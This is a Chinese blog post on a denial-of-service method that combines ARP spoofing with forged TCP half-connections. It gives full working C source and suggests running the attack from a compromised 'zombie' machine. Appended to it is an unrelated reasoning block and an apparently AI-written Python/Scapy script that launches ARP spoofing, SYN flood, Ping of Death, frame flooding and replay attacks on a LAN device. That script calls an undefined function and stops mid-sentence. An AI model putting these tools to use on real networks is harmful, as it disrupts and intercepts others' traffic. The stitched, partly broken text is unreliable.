基于ARP欺骗的TCP伪连接D.o.S

基于ARP欺骗的TCP伪连接D.o.S

作者: ffantasyYD

    从某种意义上说,如果能够制造TCP伪连接,那么D.o.S也就比较容易实现了。以前LionD8就曾经用这个思路做出了一个新型D.o.S,而今天,我用的也是这个思路。但是,如果直接伪造TCP三次握手而不作其他任何处理,那却是不行的。因为,当攻击的目标主机接收到我们发过去的伪造的SYN包后会发回一个SYN+ACK包(也就是第二次握手)。而当我们的系统收到这个SYN+ACK包后,由于系统内并没有发起真正的TCP连接,因此系统会发回一个RST包,这个包将使目标主机重置连接。这样,这个伪连接就建立失败了。
    要解决这个问题,办法有不少,而我这里要用的方法就是ARP欺骗。首先,我们要对目标主机进行ARP欺骗,让它认为我们是同一网段中的另一台机器。然后我们就可以伪装这台机器向目标主机发起TCP伪连接了。这样一来,即使目标主机返回一个SYN+ACK包,这个包也不会进入到我们的系统(因为这个包的目的IP不会是我们而应该是我们伪装的那台主机的IP),这样,我们的系统也不会向目标主机发送RST包了。
    打个比方,假设我们是主机A,现在我想要攻击主机B。首先,我先伪装主机C对B进行ARP欺骗(以C的IP地址和A的MAC地址构造ARP应答包发送到B),这样,B的ARP缓存中就会记录下C的IP对应A的MAC地址。然后,我们再以C的IP为源IP构造SYN数据包,向B发起TCP伪连接。当B收到这个SYN包之后,它会构造一个SYN+ACK包发往C。但是,由于此时在B的ARP缓存中记录着:C的IP对应A的MAC地址,因此,这个SYN+ACK包实际上被发送到了A。虽然,这个包将被A的系统所丢弃(因为这个包的目的IP是C的IP而不是A的IP,所以A的系统将会丢弃这个包),但是,我们仍然可以从链路层直接将这个数据帧获取下来。得到了这个SYN+ACK包之后,我们需要再次伪装C向B发回一个ACK包完成第三次握手。这样,TCP初始化连接的三次握手都完成了,我们的伪连接也成功建立了!
    伪连接建立之后,我们还可以继续向目标主机发送数据,来保证TCP连接的存活。
    这里,有几个需要注意的问题:首先,为了保证攻击过程中目标主机的ARP缓存不被更改,我们需要持续不断的对其进行ARP欺骗;第二,为了防止在攻击过程中我们伪装的主机向目标主机发起通信,刷新目标主机的ARP缓存,对我们的攻击造成影响,我们还可以对伪装主机也同时进行ARP欺骗,以增加攻击成功的几率。
    好了,说了这么多,下面就给出我实现的源代码,欢迎大虾们多多指教。

// DoS_By_ARPCheat.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "winsock2.h"
#include "Packet32.h"
#include "stdio.h"

#pragma comment(lib, "packet")
#pragma comment(lib, "ws2_32")

//下面几个宏是测试用的主机的IP和MAC
#define SIMULATE_MAC "0011111d735a"     //伪装主机的MAC地址
#define TARGET_MAC "001111c6f7fe"       //目的主机的MAC地址
#define LOCAL_MAC "00e06e41508f"        //本机MAC地址
#define TARGET_IP "211.83.97.24"        //目的主机的IP
#define SIMULATE_IP "211.83.97.16"      //伪装主机的IP

#define NDIS_PACKET_TYPE_DIRECTED 0x0001 //直接模式

#pragma pack(push, 1)

struct ET_HEADER    //以太网头部
{
    unsigned char   eh_dst[6]; 
    unsigned char   eh_src[6];
    unsigned short  eh_type;
};

struct ARP_HEADER   //ARP头部
{
    unsigned short  arp_hdr;
    unsigned short  arp_pro;
    unsigned char   arp_hln;
    unsigned char   arp_pln;
    unsigned short  arp_opt;
    unsigned char   arp_sha[6];
    unsigned long   arp_spa;
    unsigned char   arp_tha[6];
    unsigned long   arp_tpa;
};

struct IP_HEADER          //IP头部
{
    char m_ver_hlen;      //4位版本号,4位ip头部长
    char m_tos;
    USHORT m_tlen;
    USHORT m_ident;
    USHORT m_flag_frag;     //3位标志位(1位未用位,1位DF,1位MF),13位片断偏移量
    char m_ttl;
    char m_protocol;
    USHORT m_cksum;
    ULONG m_sIP;
    ULONG m_dIP;
};

struct TCP_HEADER          //TCP头部
{
    USHORT m_sport;
    USHORT m_dport;
    ULONG m_seq;
    ULONG m_ack;  
    char m_hlen_res4;              //4位tcp头部长,6位保留的前4位
    char m_res2_flag;              //6位保留的后2位,6位标志
    USHORT m_win;
    USHORT m_cksum;
    USHORT m_urp;
};

struct PSD_HEADER         //伪头部,计算校验和用
{
    ULONG m_saddr; //源地址
    ULONG m_daddr; //目的地址
    char m_mbz;
    char m_ptcl; //协议类型
    USHORT m_tcpl; //TCP长度
};

struct TCP_OPTION         //TCP选项,发起伪连接时要用来与对方协商
{
    USHORT unKnown;
    USHORT maxSegSize;     //MSS,以太网一般为1460
    char no1;
    char no2;
    USHORT SACK;
};

struct CHEAT_ARP_INFO        //ARP欺骗线程的参数
{
    char simulateIP[20];
    char targetIP[20];
    char targetMAC[13];
};

#pragma pack(pop)

USHORT CheckSum(USHORT *buffer, int size);   //计算校验和的函数
void StrToMac(char *str,char *mac);          //字符串转换为MAC地址
void ListenACK();                            //监听函数,监听对方的回包
void AssayAndSendData(LPPACKET lpPacket);    //分析数据帧并发送回包
DWORD WINAPI ArpCheat(void *pInfo);          //ARP欺骗线程
DWORD WINAPI SendSyn(void *no);              //发送SYN包的线程
void Info();                              

LPADAPTER lpAdapter=NULL;                    //适配器指针
USHORT ipID=1638;                            //IP标识
USHORT sourcePort=1056;                      //起始源端口
USHORT targetPort=445;                       //目的端口

int main(int argc, char* argv[])
{
    Info();

    WSADATA wsaData;
    if(WSAStartup(MAKEWORD(2,1), &wsaData)!=0)
    {
        printf("WSAStartup error!\n");
        return -1;
    }

    //打开适配器:
    WCHAR adapter_name[2048]={0};
    ULONG adapter_length=1024;
   
    //取得所有适配器的名字.
    if(PacketGetAdapterNames((char*)adapter_name, &adapter_length)==FALSE)
    {
        //adapter_name:一个用于存放适配器的名字的缓冲区
        //adapter_length:这个缓冲区的大小
        printf("PacketGetAdapterNames error:%d\n",GetLastError());
        return -1;
    }
   
    WCHAR *name1,*name2;
    ULONG i;
    static CHAR adapter_list[10][1024];

    name1=adapter_name;
    name2=adapter_name;
    i=0;
    //把adapter_name中的适配器名字,分别copy到adapter_list[]中,i从0开始为第一个
    while((*name1!='\0') || (*(name1-1)!='\0'))
    {
        if(*name1=='\0')
        {
            memcpy(adapter_list[i],name2,2*(name1-name2));
            name2=name1+1;
            i++;
        }
        name1++;
    }

    //默认打开第一块适配器
    lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)adapter_list[0]);   
    if (!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE))
    {
        printf("Unable to open the driver, Error Code : %lx\n", GetLastError());
        return -1;
    }

    //创建ARP欺骗线程:
    CHEAT_ARP_INFO info1={0},info2={0};
    memcpy(info1.simulateIP,SIMULATE_IP,strlen(SIMULATE_IP));
    memcpy(info1.targetIP,TARGET_IP,strlen(TARGET_IP));
    memcpy(info1.targetMAC,TARGET_MAC,strlen(TARGET_MAC));
    ::CreateThread(NULL,0,ArpCheat,&info1,0,NULL);

    memcpy(info2.simulateIP,TARGET_IP,strlen(TARGET_IP));
    memcpy(info2.targetIP,SIMULATE_IP,strlen(SIMULATE_IP));
    memcpy(info2.targetMAC,SIMULATE_MAC,strlen(SIMULATE_MAC));
    ::CreateThread(NULL,0,ArpCheat,&info2,0,NULL);
    Sleep(50);

    //发送TCP伪连接的SYN数据帧:
    ::CreateThread(NULL,0,SendSyn,NULL,0,NULL);

    ListenACK();      //循环监听数据包
    PacketCloseAdapter(lpAdapter);  //关闭适配器
    ::WSACleanup();
    return 0;
}

DWORD WINAPI SendSyn(void *no)
{
    Sleep(100);

    while(TRUE)     //循环发送SYN包发起伪连接
    {
        char s_mac[6]={0},d_mac[6]={0};
        char sendSynBuf[128]={0};
        ET_HEADER et_header={0};
        IP_HEADER ip_header={0};
        TCP_HEADER tcp_header={0};
        TCP_OPTION tcp_option={0};
        PSD_HEADER psd_header={0};

        //填充以太头部:
        StrToMac(LOCAL_MAC,s_mac);    //local_mac
        memcpy(et_header.eh_src,s_mac,6);
        StrToMac(TARGET_MAC,d_mac);    //dest_mac
        memcpy(et_header.eh_dst,d_mac,6);
        et_header.eh_type=htons(0x0800);  //类型为0x0800表示这是IP包

        //填充IP头部:
        ip_header.m_ver_hlen=(4<<4|5);
        ip_header.m_tos=0;
        ip_header.m_tlen=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)+sizeof(TCP_OPTION));
        ip_header.m_ident=htons(ipID++);
        ip_header.m_flag_frag=htons(16384); //设置为不分片
        ip_header.m_ttl=128;
        ip_header.m_protocol=IPPROTO_TCP;   //高层协议为TCP
        ip_header.m_cksum=0;
        ip_header.m_sIP=inet_addr(SIMULATE_IP);   //源IP填为伪装主机的IP
        ip_header.m_dIP=inet_addr(TARGET_IP);     //目的IP

        ip_header.m_cksum=CheckSum((USHORT *)&ip_header,sizeof(IP_HEADER));

        //填充TCP头部以及TCP选项:
        tcp_header.m_dport=htons(targetPort);
        tcp_header.m_sport=htons(sourcePort++);
        tcp_header.m_seq=::GetTickCount();   //初始化序列号
        tcp_header.m_ack=0;
        tcp_header.m_hlen_res4=(((sizeof(TCP_HEADER)+sizeof(TCP_OPTION))/4)<<4);
        tcp_header.m_res2_flag=2;      //标识为SYN包
        tcp_header.m_win=htons(16384);
        tcp_header.m_cksum=0;
        tcp_header.m_urp=0;

        tcp_option.unKnown=htons(516);
        tcp_option.maxSegSize=htons(1460);   //MSS,以太网一般为1460
        tcp_option.no1=1;
        tcp_option.no2=1;
        tcp_option.SACK=htons(1026);

        //计算TCP校验和:
        psd_header.m_daddr=ip_header.m_dIP;
        psd_header.m_saddr=ip_header.m_sIP;
        psd_header.m_mbz=0;
        psd_header.m_ptcl=IPPROTO_TCP;
        psd_header.m_tcpl=htons(sizeof(TCP_HEADER)+sizeof(TCP_OPTION));

        char tcpBuf[128]={0};
        memcpy(tcpBuf,&psd_header,sizeof(PSD_HEADER));
        memcpy(tcpBuf+sizeof(PSD_HEADER),&tcp_header,sizeof(TCP_HEADER));
        memcpy(tcpBuf+sizeof(PSD_HEADER)+sizeof(TCP_HEADER),&tcp_option,sizeof(TCP_OPTION));
        tcp_header.m_cksum=CheckSum((USHORT *)tcpBuf,sizeof(PSD_HEADER)+sizeof(TCP_HEADER)+sizeof(TCP_OPTION));

        //构造SYN数据帧:
        memcpy(sendSynBuf,&et_header,sizeof(ET_HEADER));
        memcpy(sendSynBuf+sizeof(ET_HEADER),&ip_header,sizeof(IP_HEADER));
        memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER),&tcp_header,sizeof(TCP_HEADER));
        memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER)+sizeof(TCP_HEADER),&tcp_option,sizeof(TCP_OPTION));

        //发送伪造的SYN包:
        LPPACKET lpPacket;
        lpPacket=PacketAllocatePacket();     //给PACKET结构指针分配内存
        PacketInitPacket(lpPacket,sendSynBuf,128);   //初始化PACKET结构指针

        if(PacketSetNumWrites(lpAdapter,1)==FALSE)   //设置发送次数
        {
            printf("Warning: Unable to send more than one packet in a single write!\n");
            continue;
        }

        if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE) 
        {
            printf("Error sending the packets!\n");
            continue;
        }
        PacketFreePacket(lpPacket);   //释放PACKET结构指针
        Sleep(100);
    }
    return 0;
}

DWORD WINAPI ArpCheat(void *pInfo)
{
    CHEAT_ARP_INFO info={0};
    memcpy(&info,pInfo,sizeof(CHEAT_ARP_INFO));

    //伪造ARP应答包:
    char s_mac[6]={0},d_mac[6]={0};
    ET_HEADER et_header={0};
    ARP_HEADER arp_header={0};
    char buffer[64]={0};

    StrToMac(LOCAL_MAC,s_mac);    //源MAC地址
    memcpy(et_header.eh_src,s_mac,6);
    StrToMac(info.targetMAC,d_mac);    //目的MAC地址
    memcpy(et_header.eh_dst,d_mac,6);

    et_header.eh_type=htons(0x0806);  //类型为0x0806表示这是ARP包

    arp_header.arp_hdr=htons(0x0001);  //硬件地址类型以太网地址
    arp_header.arp_pro=htons(0x0800);  //协议地址类型为IP协议
    arp_header.arp_hln=6;              //硬件地址长度为6
    arp_header.arp_pln=4;              //协议地址长度为4
    arp_header.arp_opt=htons(0x0002);  //标识为ARP应答

    arp_header.arp_spa=inet_addr(info.simulateIP);  //source_ip
    memcpy(arp_header.arp_sha,et_header.eh_src,6);
    arp_header.arp_tpa=inet_addr(info.targetIP);   //target_ip
    memcpy(arp_header.arp_tha,et_header.eh_dst,6);

    memcpy(buffer,&et_header,sizeof(ET_HEADER));
    memcpy(buffer+sizeof(ET_HEADER),&arp_header,sizeof(ARP_HEADER));

    //发送伪造地ARP应答包:
    LPPACKET lpPacket;
    lpPacket=PacketAllocatePacket();     //给PACKET结构指针分配内存
    PacketInitPacket(lpPacket,buffer,64);   //初始化PACKET结构指针

    if(PacketSetNumWrites(lpAdapter,1)==FALSE)   //设置发送次数
        printf("warning: Unable to send more than one packet in a single write!\n");
   
    while(TRUE)
    {
        if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE)  //不断发送伪造的ARP应答包达到欺骗目标主机的目的
        {
            printf("Error sending the packets!\n");
            break;
        }
        Sleep(3000);
    }

    PacketFreePacket(lpPacket);   //释放PACKET结构指针
    return 0;
}

void ListenACK()
{
    LPPACKET lpPacket;
    char recvBuf[512]={0};

    PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_DIRECTED);   //设置网卡为直接模式
    PacketSetBuff(lpAdapter,1024);     //设置网卡接收数据包的缓冲区大小
    PacketSetReadTimeout(lpAdapter,2);   //设置接收到一个包后的“休息”时间

    while(TRUE)
    {
        lpPacket=PacketAllocatePacket();    //给PACKET结构指针分配内存
        PacketInitPacket(lpPacket,recvBuf,512);    //初始化PACKET结构指针

        if(PacketReceivePacket(lpAdapter,lpPacket,TRUE)==TRUE)   //接收数据帧
            AssayAndSendData(lpPacket);        //分析数据包并发送ACK包
        else
            printf("Recv Error!\n");

        //每次收包后重置lpPacket:
        PacketFreePacket(lpPacket);
        memset(recvBuf,0,512);
        Sleep(10);
    }

    PacketFreePacket(lpPacket);   //释放lpPacket
    return;
}

USHORT CheckSum(USHORT *buffer, int size)
{
    unsigned long cksum=0;
    while(size >1)
    {
        cksum+=*buffer++;
        size -=sizeof(USHORT);
    }
    if(size)
        cksum += *(UCHAR*)buffer;

    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >>16);
    return (USHORT)(~cksum);
}

void StrToMac(char *str,char *mac)  //自定义的将字符串转换成mac地址的函数
{
    char *str1;
    int i;
    int low,high;
    char temp;

    for(i=0;i<6;i++)
    {
        str1=str+1;
        switch(*str)
        {
        case 'a':high=10;
                 break;
        case 'b':high=11;
                 break;
        case 'c':high=12;
                 break;
        case 'd':high=13;
                 break;
        case 'e':high=14;
                 break;
        case 'f':high=15;
                 break;
        default:temp=*str;
                high=atoi(&temp);
        }
        switch(*str1)
        {
        case 'a':low=10;
                 break;
        case 'b':low=11;
                 break;
        case 'c':low=12;
                 break;
        case 'd':low=13;
                 break;
        case 'e':low=14;
                 break;
        case 'f':low=15;
                 break;
        default:temp=*str1;
                low=atoi(&temp);
        }
        mac[i]=high*16+low;
        str+=2;
    }
}

void AssayAndSendData(LPPACKET lpPacket)
{
    char *buf;
    bpf_hdr *lpBpfhdr;
    ET_HEADER *lpEthdr;
    in_addr addr={0};

    buf=(char *)lpPacket->Buffer;
    lpBpfhdr=(bpf_hdr *)buf;
    lpEthdr=(ET_HEADER *)(buf+lpBpfhdr->bh_hdrlen);
    if(lpEthdr->eh_type==htons(0x0800))     //判断是否为IP包
    {
        IP_HEADER *lpIphdr=(IP_HEADER *)(buf+lpBpfhdr->bh_hdrlen+sizeof(ET_HEADER));

        if( ( inet_addr(SIMULATE_IP)==lpIphdr->m_dIP ) && ( inet_addr(TARGET_IP)==lpIphdr->m_sIP ) && (lpIphdr->m_protocol==IPPROTO_TCP) )   //判断所收到的数据包的传输层协议、源及目的IP
        {
            TCP_HEADER *lpTcphdr=(TCP_HEADER *)(buf+lpBpfhdr->bh_hdrlen+sizeof(ET_HEADER)+sizeof(IP_HEADER));

            if( ( (lpTcphdr->m_res2_flag & 0x10)!=0 ) && ( lpTcphdr->m_win!=0 ) )  //判断是否为带ACK标记的包并判断目标主机接收窗口是否已为0
            {
                char s_mac[6]={0},d_mac[6]={0};
                char sendSynBuf[128]={0};
                char *data="ffantasyYD";
                ET_HEADER et_header={0};
                IP_HEADER ip_header={0};
                TCP_HEADER tcp_header={0};
                PSD_HEADER psd_header={0};

                StrToMac(LOCAL_MAC,s_mac);    //local_mac
                memcpy(et_header.eh_src,s_mac,6);
                StrToMac(TARGET_MAC,d_mac);    //dest_mac
                memcpy(et_header.eh_dst,d_mac,6);
                et_header.eh_type=htons(0x0800);  //类型为0x0800表示这是IP包

                ip_header.m_ver_hlen=(4<<4|5);
                ip_header.m_tos=0;
                ip_header.m_tlen=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)+strlen(data));
                ip_header.m_ident=htons(ipID++);
                ip_header.m_flag_frag=htons(16384); //设置为不分片
                ip_header.m_ttl=128;
                ip_header.m_protocol=IPPROTO_TCP;   //高层协议为TCP
                ip_header.m_cksum=0;
                ip_header.m_sIP=inet_addr(SIMULATE_IP);
                ip_header.m_dIP=inet_addr(TARGET_IP);

                ip_header.m_cksum=CheckSum((USHORT *)&ip_header,sizeof(IP_HEADER));

                tcp_header.m_dport=lpTcphdr->m_sport;
                tcp_header.m_sport=lpTcphdr->m_dport;
                tcp_header.m_seq=lpTcphdr->m_ack;        //序列号为接收到包的ack号
                if(lpTcphdr->m_res2_flag==0x12)    //若收到的包是SYN+ACK包,则ACK号为接收到包的序列号加1
                    tcp_header.m_ack=htonl(ntohl(lpTcphdr->m_seq)+1);  
                else      //若收到的包不是SYN+ACK包,则ACK号为接收到包的序列号加上包的数据部分长度
                    tcp_header.m_ack=htonl(ntohl(lpTcphdr->m_seq)+ntohs(lpIphdr->m_tlen)-40);

                tcp_header.m_hlen_res4=((sizeof(TCP_HEADER)/4)<<4);
                tcp_header.m_res2_flag=0x10;       //设置为ACK包
                tcp_header.m_win=lpTcphdr->m_win;
                tcp_header.m_cksum=0;
                tcp_header.m_urp=0;

                psd_header.m_daddr=ip_header.m_dIP;
                psd_header.m_saddr=ip_header.m_sIP;
                psd_header.m_mbz=0;
                psd_header.m_ptcl=IPPROTO_TCP;
                psd_header.m_tcpl=htons(sizeof(TCP_HEADER)+strlen(data));

                char tcpBuf[128]={0};
                memcpy(tcpBuf,&psd_header,sizeof(PSD_HEADER));
                memcpy(tcpBuf+sizeof(PSD_HEADER),&tcp_header,sizeof(TCP_HEADER));
                memcpy(tcpBuf+sizeof(PSD_HEADER)+sizeof(TCP_HEADER),data,strlen(data));
                tcp_header.m_cksum=CheckSum((USHORT *)tcpBuf,sizeof(PSD_HEADER)+sizeof(TCP_HEADER)+strlen(data));

                memcpy(sendSynBuf,&et_header,sizeof(ET_HEADER));
                memcpy(sendSynBuf+sizeof(ET_HEADER),&ip_header,sizeof(IP_HEADER));
                memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER),&tcp_header,sizeof(TCP_HEADER));
                memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER)+sizeof(TCP_HEADER),data,strlen(data));

                //发送伪造的ACK包:
                LPPACKET lpSendPacket;
                lpSendPacket=PacketAllocatePacket();     //给PACKET结构指针分配内存
                PacketInitPacket(lpSendPacket,sendSynBuf,128);   //初始化PACKET结构指针

                if(PacketSetNumWrites(lpAdapter,1)==FALSE)   //设置发送次数
                {
                    printf("Warning: Unable to send more than one packet in a single write!\n");
                    return;
                }

                if(PacketSendPacket(lpAdapter,lpSendPacket,TRUE)==FALSE) 
                {
                    printf("Error sending the packets!\n");
                    return;
                }
                PacketFreePacket(lpSendPacket);   //释放PACKET结构指针
            }
        }
    }
    return;
}

void Info()
{
    printf("********************************\n");
    printf("*    Made by ffantasyYD        *\n");
    printf("*    QQ:76889713               *\n");
    printf("*    Email:ffantasyYD@163.com  *\n");
    printf("*    http://ffantasyyd.126.com *\n");
    printf("********************************\n");
}

    注:由于以上代码是我测试用的,因此显得不太便于使用,很多信息都是我自己去获取后直接写进程序里的,比如目标主机的MAC地址等,这些都需要测试者自己修改。另外,这种D.o.S存在着一个局限性,那就是目标主机必须跟我们的主机处于同一个二层网络内。但是,我们可以利用一些方法来克服这种局限性,比如,我们可以在目标主机的网络内找一台肉鸡,这样,我们就只需要控制那台肉鸡进行攻击就行了。

转载于:https://www.cnblogs.com/F4ncy/archive/2005/06/14/174478.html

<think>我们遇到了几个问题,主要来自ARP欺骗部分: 1. 无法获取网关MAC地址(因为最初的ARP请求可能没有得到响应) 2. 发送ARP欺骗包时出现"MAC address not found"警告 3. 可能由于网络配置(如VMware桥接模式)导致ARP请求失败 解决方案: 1. 使用更可靠的ARP请求方式(例如直接构造ARP请求包并等待响应) 2. 在发送ARP欺骗包之前,确保我们已经有目标MAC和网关MAC 3. 添加错误处理,如果获取不到网关MAC,则跳过ARP欺骗攻击 此外,我们注意到在发送SYN Flood时有一个关于`iface`的警告,因为Scapy在L3发送时忽略`iface`参数。我们需要使用L2发送(sendp)或者指定正确的接口。 让我们修改脚本: ### 改进点1:可靠获取MAC地址 ```python def get_mac(ip): """通过发送ARP请求获取IP对应的MAC地址""" arp_request = ARP(pdst=ip) broadcast = Ether(dst="ff:ff:ff:ff:ff:ff") arp_request_broadcast = broadcast/arp_request answered_list = srp(arp_request_broadcast, timeout=1, verbose=False, iface=INTERFACE)[0] if answered_list: return answered_list[0][1].hwsrc return None ``` ### 改进点2:在ARP欺骗中使用目标MAC地址 在之前的ARP欺骗中,我们使用了网关MAC作为目标MAC(hwdst),但实际上我们应该使用目标设备的MAC。修改如下: ```python def arp_spoofing(): """ARP欺骗攻击 - 中间人攻击""" print("[+] Starting ARP Spoofing Attack...") gateway_mac = get_mac(GATEWAY_IP) target_mac = get_mac(TARGET_IP) if not gateway_mac or not target_mac: print("[-] Failed to get MAC addresses. Skipping ARP spoofing.") return end_time = time.time() + ATTACK_DURATION while time.time() < end_time: # 欺骗目标:攻击者是网关 sendp(Ether(dst=target_mac)/ARP(op=2, pdst=TARGET_IP, psrc=GATEWAY_IP, hwdst=target_mac), iface=INTERFACE, verbose=0) # 欺骗网关:攻击者是目标 sendp(Ether(dst=gateway_mac)/ARP(op=2, pdst=GATEWAY_IP, psrc=TARGET_IP, hwdst=gateway_mac), iface=INTERFACE, verbose=0) time.sleep(1) ``` ### 改进点3:修复SYN Flood的警告 将SYN Flood的发送改为使用L2(sendp)并构造以太网帧: ```python def syn_flood(): """SYN洪水攻击 - 耗尽连接资源""" print("[+] Starting SYN Flood Attack...") target_mac = get_mac(TARGET_IP) if not target_mac: print("[-] Failed to get target MAC. Skipping SYN flood.") return end_time = time.time() + ATTACK_DURATION while time.time() < end_time: # 随机源IP和端口 src_ip = f"192.168.1.{random.randint(100,250)}" sport = random.randint(1024, 65535) dport = random.choice([22, 80, 443, 8080]) # 常见端口 # 构造IP/TCP包,并封装到以太网帧中 packet = Ether(src=RandMAC(), dst=target_mac) / \ IP(src=src_ip, dst=TARGET_IP) / \ TCP(sport=sport, dport=dport, flags="S") # 发送数据包(使用sendp发送L2帧) sendp(packet, iface=INTERFACE, verbose=0, count=50) time.sleep(0.1) ``` ### 改进点4:在脚本开始时检查所有必要的MAC地址 ```python def validate_macs(): """在攻击开始前验证所有必要的MAC地址""" print("[*] Resolving MAC addresses...") macs = { "gateway": get_mac(GATEWAY_IP), "target": get_mac(TARGET_IP) } if not macs["gateway"]: print(f"[-] 无法获取网关 {GATEWAY_IP} 的MAC地址") else: print(f"[+] 网关 {GATEWAY_IP} 的MAC地址: {macs['gateway']}") if not macs["target"]: print(f"[-] 无法获取目标 {TARGET_IP} 的MAC地址") else: print(f"[+] 目标 {TARGET_IP} 的MAC地址: {macs['target']}") return macs ``` ### 完整改进脚本 以下是整合以上改进的完整脚本: ```python #!/usr/bin/env python3 from scapy.all import * from scapy.layers.l2 import ARP, Ether from scapy.layers.inet import IP, TCP, ICMP import random import time import threading import os import sys # 配置参数 TARGET_IP = "192.168.1.103" # Raspberry Pi IP ATTACKER_IP = "192.168.1.160" # Your Ubuntu VM IP GATEWAY_IP = "192.168.1.1" # 通常为路由器IP INTERFACE = "ens33" # 在Ubuntu上使用 ifconfig 确认 ATTACK_DURATION = 300 # 攻击持续时间(秒) def get_mac(ip): """通过发送ARP请求获取IP对应的MAC地址""" arp_request = ARP(pdst=ip) broadcast = Ether(dst="ff:ff:ff:ff:ff:ff") arp_request_broadcast = broadcast/arp_request answered_list = srp(arp_request_broadcast, timeout=1, verbose=False, iface=INTERFACE)[0] if answered_list: return answered_list[0][1].hwsrc return None def validate_environment(): """检查必要的环境配置""" if os.geteuid() != 0: print("[-] 必须使用root权限运行 (sudo)") sys.exit(1) if not os.path.exists(f"/sys/class/net/{INTERFACE}"): print(f"[-] 接口 {INTERFACE} 不存在") print("[!] 可用接口:") os.system("ip link show | awk '/^[0-9]/ {print $2}' | cut -d':' -f1") sys.exit(1) print(f"[+] 环境验证通过: 接口={INTERFACE}, 目标={TARGET_IP}") def frame_flooding(): """帧泛洪攻击 - 饱和网络带宽""" print("[+] Starting Frame Flooding Attack...") payload = b"X" * 1400 # 接近MTU的大小 end_time = time.time() + ATTACK_DURATION while time.time() < end_time: # 随机目标MAC dst_mac = f"02:00:00:{random.randint(0,255):02x}:{random.randint(0,255):02x}:{random.randint(0,255):02x}" sendp(Ether(dst=dst_mac)/IP(src=f"192.168.1.{random.randint(100,200)}", dst=TARGET_IP)/Raw(load=payload), iface=INTERFACE, verbose=0, count=50) def malformed_packet_attack(): """畸形包攻击 - 触发系统漏洞""" print("[+] Starting Malformed Packet Attack...") malformed_packets = [ # 无效TCP标志组合 IP(dst=TARGET_IP)/TCP(flags=0, sport=80, dport=80), # 重叠分片攻击 IP(dst=TARGET_IP, flags="MF", frag=0)/ICMP()/("X"*16), IP(dst=TARGET_IP, flags=0, frag=0)/ICMP()/("Y"*16), # 超大数据包 IP(dst=TARGET_IP)/ICMP()/("Z"*65500), # Ping of Death IP(dst=TARGET_IP)/ICMP()/("A"*65507) ] for _ in range(100): for pkt in malformed_packets: send(pkt, iface=INTERFACE, verbose=0) time.sleep(0.1) def arp_spoofing(): """ARP欺骗攻击 - 中间人攻击""" print("[+] Starting ARP Spoofing Attack...") gateway_mac = get_mac(GATEWAY_IP) target_mac = get_mac(TARGET_IP) if not gateway_mac or not target_mac: print("[-] Failed to get MAC addresses. Skipping ARP spoofing.") return end_time = time.time() + ATTACK_DURATION while time.time() < end_time: # 欺骗目标:攻击者是网关 sendp(Ether(dst=target_mac)/ARP(op=2, pdst=TARGET_IP, psrc=GATEWAY_IP, hwdst=target_mac), iface=INTERFACE, verbose=0) # 欺骗网关:攻击者是目标 sendp(Ether(dst=gateway_mac)/ARP(op=2, pdst=GATEWAY_IP, psrc=TARGET_IP, hwdst=gateway_mac), iface=INTERFACE, verbose=0) time.sleep(1) def syn_flood(): """SYN洪水攻击 - 耗尽连接资源""" print("[+] Starting SYN Flood Attack...") target_mac = get_mac(TARGET_IP) if not target_mac: print("[-] Failed to get target MAC. Skipping SYN flood.") return end_time = time.time() + ATTACK_DURATION while time.time() < end_time: # 随机源IP和端口 src_ip = f"192.168.1.{random.randint(100,250)}" sport = random.randint(1024, 65535) dport = random.choice([22, 80, 443, 8080]) # 常见端口 # 构造IP/TCP包,并封装到以太网帧中 packet = Ether(src=RandMAC(), dst=target_mac) / \ IP(src=src_ip, dst=TARGET_IP) / \ TCP(sport=sport, dport=dport, flags="S", seq=random.randint(0, 2**32)) # 发送数据包(使用sendp发送L2帧) sendp(packet, iface=INTERFACE, verbose=0, count=50) time.sleep(0.1) def replay_attack(): """重放攻击 - 重复合法操作""" print("[+] Starting Replay Attack...") # 获取目标MAC target_mac = get_mac(TARGET_IP) if not target_mac: print("[-] Failed to get target MAC. Skipping replay attack.") return # 示例:重复SSH连接尝试 ssh_packet = Ether(dst=target_mac)/IP(dst=TARGET_IP)/TCP(dport=22, flags="S", seq=random.randint(0, 2**32)) for _ in range(100): sendp(ssh_packet, iface=INTERFACE, verbose=0) time.sleep(0.5) def start_attacks(): """启动所有攻击线程""" attacks = [ threading.Thread(target=frame_flooding), threading.Thread(target=arp_spoofing), threading.Thread(target=syn_flood), threading.Thread(target=malformed_packet_attack), threading.Thread(target=replay_attack) ] for attack in attacks: attack.daemon = True attack.start() # 主线程等待攻击完成 time.sleep(ATTACK_DURATION + 5) print("[+] All attacks completed") if __name__ == "__main__": validate_environment() # 启用IP转发(保持目标网络连接) os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") # 解析MAC地址 macs = validate_macs() print(f"Starting attacks against {TARGET_IP} for {ATTACK_DURATION} seconds") start_attacks() # 清理:恢复ARP缓存 print("[*] Sending ARP recovery packets...") gateway_mac = macs.get("gateway") target_mac = macs.get("target") if gateway_mac and target_mac: # 恢复目标ARP缓存 sendp(Ether(dst=target_mac)/ARP(op=2, pdst=TARGET_IP, psrc=GATEWAY_IP, hwdst=target_mac, hwsrc=gateway_mac), iface=INTERFACE, count=5, verbose=0) # 恢复网关ARP缓存 sendp(Ether(dst=gateway_mac)/ARP(op=2, pdst=GATEWAY_IP, psrc=TARGET_IP, hwdst=gateway_mac, hwsrc=target_mac), iface=INTERFACE, count=5, verbose=0) else: print("[-] 无法发送ARP恢复包,缺少MAC地址") ``` ### 运行说明 1. 保存以上代码为`full-attack-fixed.py` 2. 给予执行权限:`chmod +x full-attack-fixed.py` 3. 使用sudo运行:`sudo python3 full-attack-fixed.py` ### 改进后的预期效果 - ARP欺骗将正确获取MAC地址并发送欺骗包 - SYN Flood将不再有关于`iface`的警告 - 